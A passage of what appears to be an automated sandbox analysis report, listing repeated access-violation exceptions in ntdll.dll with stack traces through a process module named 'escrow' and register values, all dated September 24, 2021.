193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000662016	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000558592	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000662016	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000558592	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000662016	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632884 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632944 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000558592	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633104 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 1633024	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633140 registers.edi: 1633236 registers.eax: 23117 registers.ebp: 1633200 registers.edx: 0 registers.ebx: 33882112 registers.esi: 33882112 registers.ecx: 2000662016	1
__exception__ Sept. 24, 2021, 5:04 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x20560e3 0x2054117 0x2054204 escrow+0x52fd8 @ 0x452fd8 escrow+0x549f9 @ 0x4549f9 escrow+0x4a2b @ 0x404a2b escrow+0x4a93 @ 0x404a93 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633032 registers.edi: 1633120 registers.eax: 23117 registers.ebp: 1633092 registers.edx: 0 registers.ebx: 0 registers.esi: 33882112 registers.ecx: 1633024	1
